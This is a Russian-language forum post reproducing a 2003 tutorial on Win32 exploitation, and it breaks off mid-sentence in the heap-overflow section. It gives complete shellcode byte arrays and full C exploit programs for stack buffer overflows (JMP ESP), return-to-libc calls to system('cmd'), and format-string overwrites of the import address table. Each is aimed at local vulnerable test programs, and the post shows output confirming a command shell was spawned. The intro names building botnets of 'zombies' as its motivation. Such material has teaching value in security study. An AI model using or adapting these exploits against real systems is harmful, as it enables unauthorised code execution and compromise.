Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Win32 exploiting. Buffer Overflow Attacks (часть 1) |

29.04.2008, 14:26
|
|
Участник форума
Регистрация: 25.05.2007
Сообщений: 290
Провел на форуме: 1740746
Репутация:
435
|
|
Win32 exploiting. Buffer Overflow Attacks (часть 1)
___________[ Win32 exploiting. Buffer Overflow Attacks ]__________
[Copyrights (C) 2003 Crazy Einstein (aka xCrZx) crazy_einstein@yahoo.com /02.11.03/]
The Contents:
Код HTML:
0x01 Intro
0x02 Основы ShellCodingа (Сoding and Disassembling)
0x03 Buffer Overflow (bases of the overflow)
0x04 Return-To-Function (continuation of the programming)
0x05 Format String (not format C)
0x06 Heap Overflow (way the most strong)
0x0b
---| 0x01 Intro |-----------------------------------------------------------
Код HTML:
Всем доброго времени суток. Win32 системы для данного исследования были
выбранны не случайно. Во первых я есче не достаточно хорошо знакома с Unix
подобными системами, а во вторых тем, что последнее время стало популярным
создание бот систем, состоящих из так называемых zombies, а учитывая тенд-
енцию того что 80% пользователей WWW являются users windows, то нахождение
уязвимых мест в данной os является восстребованным.
На написание этой статьи меня толкнуло несколько Papers-ов некоторых лю-
дей, которым за их труды выражаю благодарности от себя лично. В оссобенно-
сти "WMF-Virus by Cr4sh" от Команды рыцарей ада (на мое мнение одна из лу-
чших комманд андеграунда на постсоветском пространстве). Также пара глав в
"Buffer Overflow Attacks Detect, Exploit, Prevent" автор James C. Foster c
соавторами. "Another way to subvert the Windows kernel" из Phrack (Current
issue : #65). и "fini infect" из Defaced (Current issue : #11). В бой...
Из инструментов нам понадобится Dev C++ или MSVC++ 6.0(советую) для рабо
ты с С++, также OllyDbg, или можно воспользоваться стандартным отладчиком
MSVC++ 6.0, также WinHex(хотя можно обойтись и без него).
Прошу прощение за оформление в тегах [*php], просто asm код читабельней.
---| 0x02 Основы ShellCodingа (Сoding and Disassembling) |-----------------
Код HTML:
В отличии от libc в *nix e, в среде Win32 используются адреса функций,
содержащихся в модулях (библиотеках *.dll), которые и используются при со-
здании шеллкода. Для основы напишем простенькую программку на C++ 6.0, ко-
торая будет запускать cmd.exe.
PHP код:
.....:-[source code с or с++]-:........
#include <windows.h>
#include <stdio.h>
int main() {
system("cmd");
exit(0);
}
.....:-[end of source code]-:..........
Компилируем и видим шелл.Теперь выясним, как выглядят байткод на этапе
выполнения программы. Воспользуемся стандартным отладчиком MSVC++ 6.0.
.....:-[disassembled]-:................
'
4: int main() {
00401010 55 push ebp
00401011 8B EC mov ebp,esp
00401013 83 EC 40 sub esp,40h
00401016 53 push ebx
00401017 56 push esi
00401018 57 push edi
00401019 8D 7D C0 lea edi,[ebp-40h]
0040101C B9 10 00 00 00 mov ecx,10h
00401021 B8 CC CC CC CC mov eax,0CCCCCCCCh
00401026 F3 AB rep stos dword ptr [edi]
5:
6: system("cmd");
00401028 68 1C 20 42 00 push offset string "cmd"(0042201c)
0040102D E8 FE 01 00 00 call system (00401230)
00401032 83 C4 04 add esp,4
7: exit(0);
00401035 6A 00 push 0
00401037 E8 64 00 00 00 call exit (004010a0)
8: }
'
.....:-[end of disassembled]-:.........
Код HTML:
Нам важны только 6 и 7 строки. Это и есть готовый шелл код, который мож-
но использовать. Но в нём присутствуют 0х00 байты, которые будут мешаться
при использовании функций strcpy(),sprintf()и т.д Эти функции определяют
конец строки по 0х00 байту. Также перед вызовом system() в стек заносится
адрес аргумента функции (*)Вывод мы должны зарание знать адрес аргумента.
Для этого помещаем аргумент в стек и записать его адрес. Необходимо напи-
сать данный код на ассемблере, используя всё тот же MSVC++ (узнать адреса
функций можно добавив строчку printf("system=%p, exit=%p\n",system,exit);
и посмотреть результат):
PHP код:
.....:-[source code с or с++]-:........
#include <windows.h>
#include <stdio.h>
void main() {
printf("system=%p, exit=%p\n",system,exit);
__asm {
xor ebx,ebx
push ebx
push 0x646d6320
push esp
or ebx,0x401110aa
shr ebx,8
call ebx
xor ecx,ecx
push ecx
or ecx,0x401260aa
shr ecx,8
call ecx
}
}
.....:-[end of source code]-:..........
В дизассемблированном варианте это будет смотреться таким образом:
.....:-[disassembled]-:................
'
10: xor ebx,ebx 0040103F 33 DB xor ebx,ebx
11: push ebx 00401041 53 push ebx
12: push 0x646d6320 00401042 68 20 63 6D 64 push 646D6320h
13: push esp 00401047 54 push esp
// 0x401110 - address of system
15: or ebx,0x401110aa 00401048 81 CB AA 10 11 40 or ebx,401110AAh
16: shr ebx,8 0040104E C1 EB 08 shr ebx,8
17: call ebx 00401051 FF D3 call ebx
19: xor ecx,ecx 00401053 33 C9 xor ecx,ecx
20: push ecx 00401055 51 push ecx
// 0x401260 - address of exit
22: or ecx,0x401260aa 00401056 81 C9 AA 60 12 40 or ecx,401260AAh
23: shr ecx,8 0040105C C1 E9 08 shr ecx,8
24: call ecx 0040105F FF D1 call ecx
'
.....:-[end of disassembled]-:.........
Код HTML:
Мы избавились от 0х00 и сделали так, что аргумент записывается в стек и
после этого адрес этого аргумента помещается в стеке. Если запустить эту
программку, то запустится cmd.exe , после выхода из которого выполнится
exit(0); Единственный недостаток данного шеллкода состоит в том, что его
нельзя использовать, не зная адресов system и exit. То есть если добавить
в эту программу функцию, к примеру Sleep(1);, откомпилировать и запустить,
то адреса system() & exit() будут уже другие и шеллкод не исполнится.
Что же делать в этом случае? Нам необходимо непосредственно найти модуль
в котором содержатся нужные нам функции. Таким модулем является msvcrt.dll
(чтоб в этом убедиться достаточно взглянуть на msvcrt.dll в том же FAR'e и
найти там строки system и exit)! Каждому модулю присваивается своё адрес-
ное пространство (в разных версиях модулей и Windows).
Программа, которая находится выше... не зависит от версии модуля, и от
самой ОС Windows, т.к. не использует адреса функций из модулей. Если зап-
устить её на XP & Win2k, то шеллкод всегда исполнится нормально. В отличии
от случая, когда берутся адреса непосредственно из модулей.
Следовательно необходимо загрузить модуль и достать из него адреса.
Что хорошо демонстрирует данная программа:
PHP код:
.....:-[source code с or с++]-:........
#include <windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main(){
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("msvcrt.dll");
ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system");
(ProcAdd) ("cmd");
return 0;
}
.....:-[end of source code]-:..........
Данная программа загружает модуль msvcrt.dll, получает адрес функции sy
stem и запускает эту функцию с аргументом "cmd". Используя отладчик можно
определить какой адрес присваевается переменной ProcAdd:
.....:-[disassembled]-:................
'
12: ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system");
0040103F 8B F4 mov esi,esp
00401041 68 20 F0 41 00 push offset string "system" (0041f020)
00401046 8B 45 FC mov eax,dword ptr [ebp-4]
00401049 50 push eax
0040104A FF 15 38 41 42 00 call dword ptr[_imp_GetProcAddress@8 (00424138)]
' ^
_______|______________________________________________
| после выполнения данного вызова в регистр EAX |
| запишется адрес функции system() => EAX = 77C18044 |
.....:-[end of disassembled]-:.........
А можно и аналогичным способом найти этот адрес, загрузив kernel32.dll
и взять адрес LoadLibraryA.
.....:-[source code с or с++]-:........
#include <windows.h>
#include <stdio.h>
int main(){
__asm {
xor edx,edx
push edx
push 0x20206c6c
push 0x642e7472
push 0x6376736d
push esp
mov ecx,0x77e805d8
call ecx
push edx
push 0x646d6320
push esp
mov ecx,0x77C18044
call ecx
push edx
mov ecx,0x77C27ADC
call ecx
}
}
.....:-[end of source code]-:....................
Код HTML:
Адреса этих функций зависят от версий модулей kernel32.dll & msvcrt.dll
Нам надо чтобы программа сама находила адреса exit & system, но при этом
нам всё ещё необходимо знать адреса LoadLibraryA и GetProcAddress. Эту ру-
тинную работу сделали Chinese Translators Team (неточно)
Рассмотрим программу, которая загружает модуль, находит адрес и вызыва-
ет функцию с параметром. И переписываем её на ассемблере!
Конечный результат:
/*
\ Half Automated shellcode for Win32 with using msvcrt.dll [79bytes]
/ tested on WinXP ver. 5.1.2600
\ by optimizate code: xCrZx /Black Sand Project/
/ msvcrt.dll information:
\ FileVersion: 7.0:2600.0
/ ProdVersion: 6.1:8638.0
\ shellcode does:
/ GetProcAddress(LoadLibrary("msvcrt.dll"),"system");system("cmd");
\ GetProcAddress(LoadLibrary("msvcrt.dll"),"exit");exit(0);
/ Note:
\ you should know address of LoadLibraryA & GetProcAddress of kernel32.dll
*/
PHP код:
.....:-[source code с or с++]-:..................
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
char shellcode[] =
"\x33\xf6" "\x56" "\x68\x6c\x6c\x20\x20" "\x68\x72\x74\x2E\x64"
"\x68\x6D\x73\x76\x63" "\x54" "\xB9\xD8\x05\xE8\x77" "\xff\xd1"
"\x56" "\xb9\xaa\xaa\x65\x6d" "\xc1\xe9\x10" "\x51" "\x68\x73\x79\x73\x74"
"\x54""\x50""\x8B\xF8" "\xB9\xFD\xA5\xE7\x77" "\xff\xd1" "\x56"
"\x68\x20\x63\x6d\x64" "\x54""\xff\xd0""\x56" "\x68\x65\x78\x69\x74"
"\x54" "\x57" "\xb9\xfd\xa5\xe7\x77" "\xff\xd1" "\x56" "\xff\xd0";
int main(){
int (*p)();
p=(int (*)())&shellcode;
(*p)();
/* __asm {
xor esi,esi
push esi
push 0x20206c6c
push 0x642e7472
push 0x6376736d
push esp
mov ecx,0x77e805d8
call ecx
push esi
mov ecx,0x6d65aaaa
shr ecx,16
push ecx
push 0x74737973
push esp
push eax
mov edi,eax
mov ecx,0x77e7a5fd
call ecx
push esi
push 0x646d6320
push esp
call eax
push esi
push 0x74697865
push esp
push edi
mov ecx,0x77e7a5fd
call ecx
push esi
call eax
} */
return 0;
}
.....:-[end of source code]-:..........
Таким же образом можно создать любой другой шеллкод!
---| 0x03 BBuffer Overflow (bases of the overflow) |------------------------
Код HTML:
Переполнение буфера в Win32 схоже с переполнением буфера в *nix. Происходит
затерание EIP (адреса возврата функции). Предлагаю сразу рассмотреть просте-
нький пример:
PHP код:
.....:-[source code с or с++]-:........
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
int fuck(char *str) {
char yo[100];
strcpy(yo,str);
return 0;
}
int main(int argc, char **argv) {
char promo[500];
if(strlen(argv[1])>500) exit(0);
sprintf(promo,"%s",argv[1]);
fuck(promo);
return 0;
}
.....:-[end of source code]-:...........
Код HTML:
Подав программе строку, длина которой находится в промежутке >100 и <500
символов, произойдет перезапись EIP и прыжок при выходе из функции на этот
адрес, что приведёт к критический ошибке и появится окошко об уведомлении (в
моём XP появляется окошко с кнопками "Отладка","Отправить отсчет","Не отправ-
лять" :). Щёлкнув на "Отладку" можно лицезреть, что собственно произошло!
PHP код:
...
41414141 ???
...
EIP = 41414141 ESP = 0012FF30
EBP = 41414141 EFL = 00000246 CS = 001B
Код HTML:
программа попыталась прочесть следующую инструкцию по адресу 0x41414141.
Теперь стоит упомянуть, что запускаемые программы в Windows основываются на
адресных пространствах, имеющих вид 0x00XXXXXX. Т.е. в адресе присутствует
0х00 и это может затруднить положение, если, к примеру мы хотим поместить наш
шеллкод после EIP (например , из-за того, что после выхода из функции fuck()
данные char yo[100] уничтожатся, но к счастью наши данные будут лежать и в
char promo[500] тоже ).
Так же трудности могут возникнуть, если функция в уязвимой программе, че-
рез которую осуществляется переполнение есть (либо подобна) memcpy(), которая
после копирования данных не завершает этот процесс записью в конец 0х00 бай-
та. В этом случае EIP будет выглядеть так - 0xXXZZZZZZ, где ZZ - байты, на
которые мы перезаписали EIP, а XX - байт , который был на этом месте от ста-
рого значения EIP. В случае, когда в уязвимой программе переполнение осуще-
ствляется с помощью функций strcpy(),strcat(),sprintf(),etc. Тогда этот байт
(ХХ) затирается на 0х00, чтобы обозначить конец строки.
Давайте попробуем перезаписать EIP на нужный нам адрес, который будет ука-
зывать на promo, т.к. в нём будет храниться шеллкод. Для этого необходимо
знать как будет выглядеть стек после вызова fuck():
PHP код:
[ char yo[100] ][EBP][EIP]
Код HTML:
Пришлось модифицировать шеллкод, чтоб избавиться от 0х20, т.к. при
передачи аргумента через system() уязвимая программа vuln1.exe будет воспри-
нимать всё, что дальше 0х20 как argv[2] и т.д.):
PHP код:
.....:-[source code с or с++]-:........
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
char shellcode[] =
"\x33\xf6" "\xB9\xAA\xAA\x6C\x6C" "\xC1\xE9\x10" "\x51" "\x68\x72\x74\x2E\x64"
"\x68\x6D\x73\x76\x63" "\x54" "\xB9\xD8\x05\xE8\x77" "\xff\xd1"
"\xb9\xaa\xaa\x65\x6d" "\xc1\xe9\x10" "\x51" "\x68\x73\x79\x73\x74" "\x54"
"\x50" "\x8B\xF8" "\xB9\xFD\xA5\xE7\x77" "\xff\xd1" "\xb9\xaa\x63\x6d\x64"
"\xC1\xE9\x08" "\x51" "\x54" "\xff\xd0" "\x56" "\x68\x65\x78\x69\x74" "\x54"
"\x57" "\xb9\xfd\xa5\xe7\x77" "\xff\xd1" "\x56" "\xff\xd0";
int main(int argc, char **argv) {
char buf[100+4*2+1];
char cmd[600];
memset(buf,0x00,sizeof(buf));
memset(buf,0x90,104-strlen(shellcode));
memcpy(buf+strlen(buf),&shellcode,strlen(shellcode));
*(long *)&buf[strlen(buf)]=0x0012fd90;
sprintf(cmd,"C:\\MSVCSTAFF\\Debug\\vuln1.exe %s",buf);
system(cmd);
return 0;
}
.....:-[end of source code]-:...........
Код HTML:
Теперь возьмём тот же самый пример, и допустим, что у нас нет char promo[500];
В этом случае шеллкод придётся сохранять за [EIP]:
PHP код:
.....:-[source code с or с++]-:........
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
int fuck(char *str) {
char yo[100];
strcpy(yo,str);
return 0;
}
int main(int argc, char **argv) {
fuck(argv[1]);
return 0;
}
.....:-[end of source code]-:...........
Код HTML:
для этого нам уже нельзя использовать в качестве адреса возврата адрес, со-
держащий 0х00 байт. Что делать в этом случае? Если быть внимательным, то мо-
жно уловить нужную информацию из регистров:
PHP код:
(при переполнении)
[HTML] EAX = 00000000 EBX = 7FFDF000
ECX = 00430EBC EDX = FDFD0044
ESI = 00000000 EDI = 0012FF80
EIP = 41414141 ESP = 0012FF30
EBP = 41414141 EFL = 00000246 CS = 001B
Регистры EDI & ESP - содержат адреса, которые потенциально могут указывать на наш
шеллкод (в частности, ESP - указатель на вершину стека и это то, что нам нужно):
PHP код:
0012FF30 41 41 ... 54 B9 AAAAAAAAAAAA3ц.ЄЄllБй.Qhrt.dhmsvcT.
0012FF53 D8 05 ... 63 6D Ш.иwяС.ЄЄemБй.QhsystTP<ш.э_зwяС.Єcm
0012FF76 64 C1 ... 00 00 dБй.QTяРVhexitTW.э_зwяСVяР_э.D.0...
А вот и наш буфер, содержащий 0x41(вместо 0х90)+шеллкод :)
Код HTML:
Теперь нужно найти инструкцию JMP ESP, которая осуществляет переход по адре-
су, заданному в ESP! Такие инструкции содержатся в разных модулях. Модуль,
который всегда мелькает перед глазами - kernel32.dll (в нём и следует начать
искать данную инструкцию).
57: jmp esp
0040102E FF E4 jmp esp
вот эти байты нам нужно отыскать по адресу: 0x77F5800D+15.
PHP код:
.....:-[exploit code с or с++]-:........
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
char shellcode[] =
"\x33\xf6" "\xB9\xAA\xAA\x6C\x6C" "\xC1\xE9\x10" "\x51" "\x68\x72\x74\x2E\x64"
"\x68\x6D\x73\x76\x63" "\x54" "\xB9\xD8\x05\xE8\x77" "\xff\xd1"
"\xb9\xaa\xaa\x65\x6d" "\xc1\xe9\x10" "\x51" "\x68\x73\x79\x73\x74"
"\x54" "\x50" "\x8B\xF8" "\xB9\xFD\xA5\xE7\x77" "\xff\xd1"
"\xb9\xaa\x63\x6d\x64" "\xC1\xE9\x08" "\x51" "\x54" "\xff\xd0"
"\x56" "\x68\x65\x78\x69\x74" "\x54" "\x57" "\xb9\xfd\xa5\xe7\x77"
"\xff\xd1" "\x56" "\xff\xd0";
int main(int argc, char **argv) {
char buf[200+4*2+1];
char cmd[600];
memset(buf,0x00,sizeof(buf));
memset(buf,0x90,204-strlen(shellcode));
memcpy(buf+strlen(buf),&shellcode,strlen(shellcode));
*(long *)&buf[104]=(0x77F5800D+15);
sprintf(cmd,"C:\\MSVCSTAFF\\Debug\\vuln1.exe %s",buf);
system(cmd);
return 0;
}
.....:-[end of source code]-:.............
Это, на мой взгляд, исчерпывающая информация о переполнении буфера!
---| 0x04 Return-To-Function() (continuation of the programming) |----------
Код HTML:
Эта технология эксплоитинга широко распространена в операционных системах,
где существует так называемая защита от всякого рода buffer overflow, etc ,
т.е. от выполнения шеллкода в стеке (non-exec stack). Мы не можем использо-
вать шеллкод на этот раз, но мы можем переписать EIP на адрес какой-либо фу-
нкции (обычно это system(), по понятным причинам :). Как же это работает?
При вызове функции берётся адрес аргумента(ов) из стека (как это было видно
ранее при дизассемблировании. Т.е. нам достаточно добавить адреса, указываю-
щие на наши аргументы и дело в шляпе. Для system() - это адрес, где располо-
жена строка "cmd". Ед. проблема состоит в том, что опять же используемое
адресное пространство - 0х00XXXXXX ! для этого надо использовать адрес функ-
ции system из модуля...
Общий вид заполнения таков:
[OVERWRITED EIP (SYSTEM())][ADDR OF NEXT FUNC][ADDR OF ARG FOR SYSTEM()][ARG FOR NEXT FUNC]
Код HTML:
При этом адрес аргумента может содержаться в области 0х00XXXXXX (в нашем
случае, адрес "cmd"). Если мы хотим после system() вызвать exit(), то
заполнение будет следующее:
[OVERWRITED EIP (SYSTEM())][ADDR OF EXIT()][ADDR OF ARG FOR SYSTEM()][ARG OF EXIT()]
Сначала вызывается System(), после Exit().
PHP код:
.....:-[exploit code с or с++]-:.........
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
int main()
{
char aaa[20]="cmd\x00\x00\x00\x00\x00\x00";
long *p;
p=(long *)&system;
long *b;
b=(long *)&exit;
__asm {
mov dword ptr [ebp+4],0x00401280
mov dword ptr [ebp+8],0x004010f0
mov dword ptr [ebp+12],0x0012ff6c
mov dword ptr [ebp+16],0x00000000
}
return 0;}
Теперь допустим у нас есть уязвимая программа:
(ед. ньанс - уязвимая программа должна использовать модуль(библиотеку))
Адреса функций system & exit в модуле msvcrt.dll мы знаем! Осталось найти "cmd"
где-нибудь в модуле например в msvcrt.dll есть "cmd" по адресу 0x77C01335!
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
int main()
{ long sys_addr=0x77C18044;
long exit_addr=0x77C27ADC;
long cmd_addr=0x77C01335;
char cmd[100]="C:\\MSVCSTAFF\\Debug\\vuln2.exe AAAAAAAAAABBBBCC";
*(long *)&cmd[strlen(cmd)]=sys_addr;
*(long *)&cmd[strlen(cmd)]=exit_addr;
*(long *)&cmd[strlen(cmd)]=cmd_addr;
system(cmd);
return 0;}
Код HTML:
Для каждой версии msvcrt.dll (Windows) своё адресное пространство,
т.ч. нужно не забывать этот факт!
Последний раз редактировалось Flame of Soul; 29.04.2008 в 20:34..
|
|
|

29.04.2008, 14:27
|
|
Участник форума
Регистрация: 25.05.2007
Сообщений: 290
Провел на форуме: 1740746
Репутация:
435
|
|
продолжение
---| 0x05 Format String (not format C) |-----------------------------------
Код HTML:
Большенство из вас (и даже некоторых опытных специалистов в области компьютер-
ной безопасности, с которыми мне пришлось общаться) не подозревали, что уязви-
мость класса формат строки (format string) может быть использована в целях по-
лучения шелла (это было связано с тем, что никто из них толком не изучал эту
тему). Процесс протекает аналогично тому, который используется в *nix'e.
В windows есть аналог GOT'y - Import Address Table (IAT)...где в виде таблицы
хранятся адреса функций, а ниже соответствующие этим адресам наименования функ-
ций. Многие наверное знают каким свойством обладает %n (записывает по адресу
аргумента кол-во символов до данного оператора). Об этом очень хорошо было опи-
сано в своё время в статьях ya_man'a. Рассмотрим уязвимую программу:
PHP код:
.....:-[source code с or с++]-:........
#include <windows.h>
#include <stdio.h>
int main(int argc, char **argv) {
char abc[200];
int yo;
yo=atoi(argv[1]);
strncpy(abc,argv[2],199);
printf(abc);
ExitProcess(0);
}
.....:-[end of source code]-:..........
C:\MSVCSTAFF\Debug>vuln3.exe 666 AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
.%x.%x.%x.%x.%x.%x AAAA143018.0.7ffdf000.cccccccc.cccccccc.cccccccc.cccccccc
.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.ccccc
ccc.cccccccc.cccccccc.cccccccc.29a
C:\MSVCSTAFF\Debug>
Код HTML:
Мы нашли начальную позицию внесения данных в char abc[100]; (0x29a - 666)
Теперь остаётся занести на эту позицию нужный адрес, который мы хотим перезапи-
сать и послать нужно сформированную строку! т.е. вместо 666 нужно вписать ад-
рес в десятичном виде и последний %x, который указывает на эту позицию (точнее,
вынимает из стека в качестве аргумента) заменить на %n (ну и сделать так, чтоб
кол-во символов до %n было равно адресу на шеллкод в десятичном виде)! Вот по-
жалуй и всё :)! Остаётся выяснить адрес, который нужно перезаписать, если пос-
мотреть на память повнимательней, то можно найти адреса функций (а именно, нас
интересует адрес функции ExitProcess()):
PHP код:
.....:-[disassembled]-:................
'
00425119 00 00 ... E7 77 ...............................ч\зw
0042513C 38 C9 ... 05 E8 8Йзw+Дзw_6лw=_зw__зwЕxзw4_йwэ_зwШ.и
0042515F 77 EF ... 02 77 wпwзw. зw_.жw__зw"_лw+ЕйwбЙзw$.зw.w
00425182 E6 77 ... 77 3E жwб~зw1Йзw."зwz.жw.nзw&Ззw-.хw4_зw>
004251A5 18 F6 ... E7 77 .цw-1зw_3зw$Йжw}.хwhiзwО|зwлAжwfИзw
004251C8 9F 84 ... 74 E7 _"зw?Ўзw.Зжwш.хw..зw/rхwщ?зw__зw.tз
004251EB 77 F9 ... 00 00 wщ_зw.язwcyзw......................
0042520E 00 00 ... 00 00 ...................................
00425231 00 00 ... 65 73 .......................}.ExitProces
00425254 73 00 ... 00 74 s.KERNEL32.dll..К.GetCommandLineA.t
00425277 01 47 ... 74 64 .GetVersion..Q.DebugBreak..R.GetStd
0042529A 48 61 ... 44 65 Handle..Я.WriteFile.-.InterlockedDe
004252BD 63 72 ... 47 65 crement..х.OutputDebugStringA..>.Ge
004252E0 74 50 ... 6E 74 tProcAddress..В.LoadLibraryA..°.Int
00425303 65 72 ... 65 4E erlockedIncrement..$.GetModuleFileN
00425326 61 6D ... 72 72 ameA.._.TerminateProcess..ч.GetCurr
00425349 65 6E ... 6C 74 entProcess.-.UnhandledExceptionFilt
'
.....:-[end of disassembled]-:.........
Код HTML:
начальный(верхний) кусок отвечает адресам соответствующих функций, которые пре-
дставлены в нижней части блока. Т.е. по адресу 0x00425138 и находится наш Exit
Process(). Всё что нужно теперь уже известно!
PHP код:
.....:-[source code с or с++]-:........
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
char shellcode[] =
"\x33\xf6" "\xB9\xAA\xAA\x6C\x6C" "\xC1\xE9\x10" "\x51"
"\x68\x72\x74\x2E\x64" "\x68\x6D\x73\x76\x63" "\x54"
"\xB9\xD8\x05\xE8\x77" "\xff\xd1" "\xb9\xaa\xaa\x65\x6d"
"\xc1\xe9\x10" "\x51" "\x68\x73\x79\x73\x74" "\x54"
"\x50" "\x8B\xF8" "\xB9\xFD\xA5\xE7\x77" "\xff\xd1"
"\xb9\xaa\x63\x6d\x64" "\xC1\xE9\x08" "\x51" "\x54"
"\xff\xd0" "\x56" "\x68\x65\x78\x69\x74" "\x54" "\x57"
"\xb9\xfd\xa5\xe7\x77" "\xff\xd1" "\x56" "\xff\xd0";
int main()
{
long ret=0x425138;//addr of ExitProcess()
char cmd[200];
long xret=0x0012feb8 - 0xee;//addr of shellcode
memset(cmd,0x00,sizeof(cmd));
strcpy(cmd,"C:\\MSVCSTAFF\\Debug\\vuln3.exe ");
sprintf(cmd+strlen(cmd),"%d %s%%x.((%%x.)*17).%%%dx.%%n",ret,shellcode,xret);
system(cmd);
return 0;
}
.....:-[end of source code]-:..........
Работоспособность:
C:\MSVCSTAFF\Debug>fmt-str-exp.exe
.....
cccccccc.Microsoft Windows XP [Верс
ия 5.1.2600]
(С) Корпорация Майкрософт, 1985-2001.
C:\MSVCSTAFF\Debug>exit
C:\MSVCSTAFF\Debug>
Код HTML:
Как видно, всё работает! Но одно но, перезаписываемый адрес содержит 0х00 байт!
т.е. если бы не было int yo; то перезаписать этот адрес нам бы не удалось, т.к.
мы не можем использовать %<NUMBER>$n технологию:
C:\MSVCSTAFF\Debug>vuln3 11 %1$x
$x
C:\MSVCSTAFF\Debug>vuln3 11 %1\$x
\$x
C:\MSVCSTAFF\Debug>vuln3 11 %%1$x
%1$x
C:\MSVCSTAFF\Debug>vuln3 11 %%1\$x
%1\$x
А если записать адрес ExitProcess() в конце нашего запроса и последовательно
извлекать из стека данные, то мы не сможем добраться до нашего адреса, т.к.
мы будем добавлять всё новые и новые символы в буфер (дистанция до адреса
будет сохраняться), а перезаписать адреса тех или иных функций каких-либо мод-
улей не удастся. Поэтому необходимо думать куда бы записать адрес, который надо
перезаписать.
---| 0x06 Heap Overflow (way the most strong) |----------------------------
Код HTML:
И вот, пожалуй, самая интересная часть :), которая заставляет созидать. Думаю,
следует начать изучать данный тип уязвимости сразу с примера.
PHP код:
.....:-[source code с or с++]-:........
#include <windows.h>
#include <stdio.h>
int main() {
char *a;
char *b;
a=(char *)malloc(100);
b=(char *)malloc(30);
char arg[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
memcpy(b,&arg,sizeof(arg));
free(a);
ExitProcess(0);
}
.....:-[end of source code]-:..........
Код HTML:
Следим за ходом выполнения программы в отладчике! Как видно из примера, сперва
выделяется 100 байт в heap'e и указателю а присваевается адрес этого места (с
которого можно заносить данные), после чего выделяется 30 байт для b.в этом
случае а указывает на 0х00430150, а b - на 0х00430100 если глянуть на эти адре-
са, то можно увидеть следующую картину:
PHP код:
.....:-[disassembled]-:................
'
00430100 CD CD ... FD 00 ННННННННННННННННННННННННННННННээээ.
....
00430150 CD CD ... CD CD ННННННННННННННННННННННННННННННННННН
00430173 CD CD ... CD CD ННННННННННННННННННННННННННННННННННН
00430196 CD CD ... FD 91 ННННННННННННННННННННННННННННННээээ'
причём, если рассматривать после выделения всю структуру целиком, то для b, к
примеру, она принимает вид такой:
004300BA 00 00 ... 00 51 ..............................Р...Q
004300DD 00 00 ... FD FD ...0.C.....................(...ээээ
00430100 CD CD ... FD 00 ННННННННННННННННННННННННННННННээээ.
00430123 00 00 ... 01 00 .....Q...'....I2.а.C.........d.....
'
.....:-[end of disassembled]-:.........
Код HTML:
при этом используемая юзером часть - с 0х00430100 по 0х0043011e (30 байт т.е.).
далее по программе идёт запись в b, если запустить программу, то можно увидеть
окошко об ошибке, которое сообщает, что освобождаемый блок (а) испорчен (т.е.
испорчен нами, т.к. мы перезаписали его часть).
Предлагаю заглянуть внутрь функции free() и всё выяснить:
PHP код:
_CRTIMP void __cdecl free(void * pUserData)
{ _free_dbg(pUserData, _NORMAL_BLOCK); }
идёт вызов free в отладочном режиме
_CRTIMP void __cdecl _free_dbg(
#endif /* _MT */
void * pUserData,
int nBlockUse)
{
_CrtMemBlockHeader * pHead;
...
pUserData - это и есть тот блок , который мы пытаемся освободить (т.е. a)
pHead - структура заголовка блока, которая выглядит следующим образом:
typedef struct _CrtMemBlockHeader
{
struct _CrtMemBlockHeader * pBlockHeaderNext;
struct _CrtMemBlockHeader * pBlockHeaderPrev;
char *szFileName;
int nLine;
size_t nDataSize;
int nBlockUse;
long lRequest;
unsigned char gap[nNoMansLandSize];
/* followed by:
* unsigned char data[nDataSize];
* unsigned char anotherGap[nNoMansLandSize];
*/
} _CrtMemBlockHeader;
далее идут проверки блока, который был передан:
/* verify heap before freeing */
if (_crtDbgFlag & _CRTDBG_CHECK_ALWAYS_DF)
_ASSERTE(_CrtCheckMemory());
if (pUserData == NULL)
return;
Код HTML:
разумется, что, если был передан нулевой адрес блока, то на этом этапе выполне-
ние функции free() завершится.
_ASSERTE(_CrtIsValidHeapPointer(pUserData));
тут идёт проверка самого адреса блока, если мы передали неправильный адрес (для
примера 0х41414141), то на этом этапе программа выдаст нам ошибку!
/* get a pointer to memory block header */
pHead = pHdr(pUserData);
указателю pHead (который указывает на структуру _CrtMemBlockHeader) присваев-
ается адрес структуры заголовка блока, который расположен на 0x20 байт левее
адреса блока (т.е. если а = 0х00430150, то pHead = 0х00430130)
Если глянуть на адрес 0х00430130, то мы увидим, что мы его затёрли (и не толь-
ко его), когда копировали информацию в b (т.к. блок b был расположен выше(лев-
ее) блока a):
00430130 41 41 41 ... CD CD AAAAAAAAAAAAAAAAAAAAAAAAAAAAA.ээННН
ясное дело, что это и будет причина ошибки, и вот, как и следовало ожидать,
сразу после присваивания указателю pHead адреса на структуры заголовка идёт
проверка блока, т.е. проверка того адреса, который был присвоен указателю:
/* verify block type */
_ASSERTE(_BLOCK_TYPE_IS_VALID(pHead->nBlockUse));
если сделать шаг дальше, то на этом месте выскочит ошибка! Но причина не в том,
что мы затёрли адрес на структуру...причина в том, что мы затерли те байты,
которые используются при данной проверке:
PHP код:
.....:-[disassembled]-:................
'
004300EA 00 00 ... CD CD CD ..............(...ээээННННННННННННН
0043010D CD CD ... 00 00 НННННННННННННННННээээ......Q...'...
00430130 88 49 ... CD CD .I2.а.C.........d.......'...ээээННН
'
.....:-[end of disassembled]-:.........
вот эти байты "00 00 00 01 00 00 00 28 00 00 00".
Код HTML:
если же их не затерать, то выполнение функции free() продолжится далее! А имен-
